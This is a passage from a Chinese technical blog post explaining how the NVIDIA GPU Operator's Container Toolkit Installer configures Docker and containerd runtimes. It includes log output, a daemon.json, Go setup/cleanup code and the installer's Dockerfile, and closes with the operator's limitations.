      mount-spec-path = "/etc/nvidia-container-runtime/host-files-for-container.d"

[nvidia-container-runtime-hook]
  path = "/usr/local/nvidia/toolkit/nvidia-container-runtime-hook"
  skip-mode-detection = true

[nvidia-ctk]
  path = "/usr/local/nvidia/toolkit/nvidia-ctk"
time="2024-06-12T02:07:58Z" level=info msg="Setting up runtime"
time="2024-06-12T02:07:58Z" level=info msg="Parsing arguments: [/usr/local/nvidia/toolkit]"
time="2024-06-12T02:07:58Z" level=info msg="Successfully parsed arguments"
time="2024-06-12T02:07:58Z" level=info msg="Starting 'setup' for docker"
time="2024-06-12T02:07:58Z" level=info msg="Loading docker config from /runtime/config-dir/daemon.json"
time="2024-06-12T02:07:58Z" level=info msg="Successfully loaded config"
time="2024-06-12T02:07:58Z" level=info msg="Flushing config to /runtime/config-dir/daemon.json"

和手动安装类似,分为两步。

查看宿主机上 Docker 的配置文件,也确实是被修改过的,default-runtime 改成了 nvidia。

root@test:~# cat /etc/docker/daemon.json
{
    "data-root": "/var/lib/docker",
    "default-runtime": "nvidia",
    "exec-opts": [
        "native.cgroupdriver=systemd"
    ],
    "log-driver": "json-file",
    "log-opts": {
        "max-file": "3",
        "max-size": "100m"
    },
    "registry-mirrors": [
        "https://docker.chenby.cn"
    ],
    "runtimes": {
        "nvidia": {
            "args": [],
            "path": "/usr/local/nvidia/toolkit/nvidia-container-runtime"
        },
        "nvidia-cdi": {
            "args": [],
            "path": "/usr/local/nvidia/toolkit/nvidia-container-runtime.cdi"
        },
        "nvidia-experimental": {
            "args": [],
            "path": "/usr/local/nvidia/toolkit/nvidia-container-runtime.experimental"
        },
        "nvidia-legacy": {
            "args": [],
            "path": "/usr/local/nvidia/toolkit/nvidia-container-runtime.legacy"
        }
    },
    "storage-driver": "overlay2",
    "storage-opts": [
        "overlay2.override_kernel_check=true"
    ]
}

这就是 NVIDIA Container Toolkit Installer 的安装部分,具体代码实现可以看下一节 镜像构建 部分。

镜像构建

Installer 代码合并到了
nvidia-container-toolkit 仓库 tools 目录
,分别为不同的 Runtime 做了不同的实现,比如 Containerd 的实现就在
containerd.go
中,部分代码如下:

// Setup updates a containerd configuration to include the nvidia-containerd-runtime and reloads it
func Setup(c *cli.Context, o *options) error {
	log.Infof("Starting 'setup' for %v", c.App.Name)

	cfg, err := containerd.New(
		containerd.WithPath(o.Config),
		containerd.WithRuntimeType(o.runtimeType),
		containerd.WithUseLegacyConfig(o.useLegacyConfig),
		containerd.WithContainerAnnotations(o.containerAnnotationsFromCDIPrefixes()...),
	)
	if err != nil {
		return fmt.Errorf("unable to load config: %v", err)
	}

	runtimeConfigOverride, err := o.runtimeConfigOverride()
	if err != nil {
		return fmt.Errorf("unable to parse config overrides: %w", err)
	}
	err = o.Configure(cfg, runtimeConfigOverride)
	if err != nil {
		return fmt.Errorf("unable to configure containerd: %v", err)
	}

	err = RestartContainerd(o)
	if err != nil {
		return fmt.Errorf("unable to restart containerd: %v", err)
	}

	log.Infof("Completed 'setup' for %v", c.App.Name)

	return nil
}
// Cleanup reverts a containerd configuration to remove the nvidia-containerd-runtime and reloads it
func Cleanup(c *cli.Context, o *options) error {
	log.Infof("Starting 'cleanup' for %v", c.App.Name)

	cfg, err := containerd.New(
		containerd.WithPath(o.Config),
		containerd.WithRuntimeType(o.runtimeType),
		containerd.WithUseLegacyConfig(o.useLegacyConfig),
		containerd.WithContainerAnnotations(o.containerAnnotationsFromCDIPrefixes()...),
	)
	if err != nil {
		return fmt.Errorf("unable to load config: %v", err)
	}

	err = o.Unconfigure(cfg)
	if err != nil {
		return fmt.Errorf("unable to unconfigure containerd: %v", err)
	}

	err = RestartContainerd(o)
	if err != nil {
		return fmt.Errorf("unable to restart containerd: %v", err)
	}

	log.Infof("Completed 'cleanup' for %v", c.App.Name)

	return nil
}

其中

  • Setup 为修改 Runtime 配置,增加 nvidia runtime
  • Cleanup 则是取消 Runtime 配置中 nvidia runtime

对应的
Dockerfile
内容如下:

# Copyright (c) 2019-2021, NVIDIA CORPORATION.  All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

ARG GOLANG_VERSION=x.x.x
ARG VERSION="N/A"

FROM nvidia/cuda:12.5.1-base-ubi8 as build

RUN yum install -y \
    wget make git gcc \
     && \
    rm -rf /var/cache/yum/*

ARG GOLANG_VERSION=x.x.x
RUN set -eux; \
    \
    arch="$(uname -m)"; \
    case "${arch##*-}" in \
        x86_64 | amd64) ARCH='amd64' ;; \
        ppc64el | ppc64le) ARCH='ppc64le' ;; \
        aarch64 | arm64) ARCH='arm64' ;; \
        *) echo "unsupported architecture" ; exit 1 ;; \
    esac; \
    wget -nv -O - https://storage.googleapis.com/golang/go${GOLANG_VERSION}.linux-${ARCH}.tar.gz \
    | tar -C /usr/local -xz


ENV GOPATH /go
ENV PATH $GOPATH/bin:/usr/local/go/bin:$PATH

WORKDIR /build
COPY . .

# NOTE: Until the config utilities are properly integrated into the
# nvidia-container-toolkit repository, these are built from the `tools` folder
# and not `cmd`.
RUN GOPATH=/artifacts go install -ldflags="-s -w -X 'main.Version=${VERSION}'" ./tools/...


FROM nvidia/cuda:12.5.1-base-ubi8

ENV NVIDIA_DISABLE_REQUIRE="true"
ENV NVIDIA_VISIBLE_DEVICES=void
ENV NVIDIA_DRIVER_CAPABILITIES=utility

ARG ARTIFACTS_ROOT
ARG PACKAGE_DIST
COPY ${ARTIFACTS_ROOT}/${PACKAGE_DIST} /artifacts/packages/${PACKAGE_DIST}

WORKDIR /artifacts/packages

ARG PACKAGE_VERSION
ARG TARGETARCH
ENV PACKAGE_ARCH ${TARGETARCH}
RUN PACKAGE_ARCH=${PACKAGE_ARCH/amd64/x86_64} && PACKAGE_ARCH=${PACKAGE_ARCH/arm64/aarch64} && \
    yum localinstall -y \
    ${PACKAGE_DIST}/${PACKAGE_ARCH}/libnvidia-container1-1.*.rpm \
    ${PACKAGE_DIST}/${PACKAGE_ARCH}/libnvidia-container-tools-1.*.rpm \
    ${PACKAGE_DIST}/${PACKAGE_ARCH}/nvidia-container-toolkit*-${PACKAGE_VERSION}*.rpm

WORKDIR /work

COPY --from=build /artifacts/bin /work

ENV PATH=/work:$PATH

LABEL io.k8s.display-name="NVIDIA Container Runtime Config"
LABEL name="NVIDIA Container Runtime Config"
LABEL vendor="NVIDIA"
LABEL version="${VERSION}"
LABEL release="N/A"
LABEL summary="Automatically Configure your Container Runtime for GPU support."
LABEL description="See summary"

RUN mkdir /licenses && mv /NGC-DL-CONTAINER-LICENSE /licenses/NGC-DL-CONTAINER-LICENSE

ENTRYPOINT ["/work/nvidia-toolkit"]

这部分比较简单,就是编译生成二进制文件,以及安装部分依赖的 RPM 包。


【Kubernetes 系列】
持续更新中,搜索公众号【
探索云原生
】订阅,阅读更多文章。


5. 小结

本文主要分享如何使用 GPU Operator 自动化完成 GPU Driver、NVIDIA Container Toolkit、device-plugin、exporter 等组件的部署,快速实现在 k8s 环境中使用 GPU。

最后简单分析了 Driver Installer 和 NVIDIA Container Toolkit Installer 这两个组件的工作原理。


GPU Operator 极大简化了在 k8s 中使用 GPU 的繁琐过程,但是也存在一些缺点:

  • Driver Installer 以 DaemonSet 方式运行的,每个节点上运行的 Pod 都一样,但是镜像由 驱动版本+内核版本+操作系统版本拼接而成,因此
    需要集群中所有节点操作系统一致
  • NVIDIA Container Toolkit Installer 同样是以 DaemonSet 方式运行的,另外安装时需要指定 Runtime,这也
    造成了集群的节点必须安装相同的 Container Runtime

6. 参考

gpu-operator getting-started

About the NVIDIA GPU Operator

nvidia-container-toolkit

NVIDIA GPU Operator分析一:NVIDIA驱动安装